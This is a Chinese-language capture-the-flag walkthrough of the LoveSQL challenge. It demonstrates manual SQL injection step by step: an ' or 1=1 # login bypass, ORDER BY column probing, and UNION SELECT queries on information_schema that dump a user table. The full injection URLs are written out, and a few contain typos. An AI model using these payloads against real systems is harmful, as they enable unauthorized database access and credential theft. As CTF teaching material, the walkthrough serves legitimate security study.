以 [極客大挑戰(zhàn) 2019]LoveSQL 1 這道題為例進(jìn)行思路講解。

1、因為在頁面上寫了用SQLmap是沒有靈魂的和由題目所知我們采取手工注入的方式。
2、那么我們先嘗試登錄,看看是什么提交方式(GET或POST)

3、發(fā)現(xiàn)是GET方式提交,并且我們嘗試使用萬能密碼繞過驗證。(密碼為 :? ’ or 1=1 #? )

4、發(fā)現(xiàn)登錄成功,得到一串字符串,我們嘗試MD5解密。

5、再試試Base64解密

6、發(fā)現(xiàn)什么也解不出來,這時候就要換到注入上去了。(嘗試爆表和爆列)
7、那么如果要爆表的話就要知道頁面回顯的位置(知道位置后自己就可以看到表名)
8、嘗試查看回顯位置(知識補充:在瀏覽器中 # 會被轉(zhuǎn)移為%23)
初始語句為:/check.php?username=admin&password=123
此時使用的語句為:?/check.phpusername=admin ' order by 4 %23 &password=123(注意此時是在瀏覽器中輸入所以將 # 寫為%23 )
在瀏覽器中的顯示為:/check.phpusername=admin%20%27%20order%20by%204%20%23%20&password=123

9、發(fā)現(xiàn)錯誤,再猜(因為頁面中顯示點比較少所以我們猜的回顯點數(shù)量比較少,為4)

10、發(fā)現(xiàn)頁面顯示正常,則頁面的回顯點為3個。
11、我們可以測試一下

12、那么我們就可以爆表了
采用語句:/check.php?username=1' union select 1,2,group_concat(table_name) froinformation_schema.tables where table_schema=database()%23&password=1

13、此時就爆出了表,那么我們接著爆列。
此時輸入的語句為:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
此時URL顯示的語句為:
/check.php?username=1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27l0ve1ysq1%27%23&password=1
14、繼續(xù)爆列
此時輸入的語句為:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from?l0ve1ysq1%23&password=1

15、在源代碼中查看flag

16、此時就得到了flag
至此任務(wù)完成。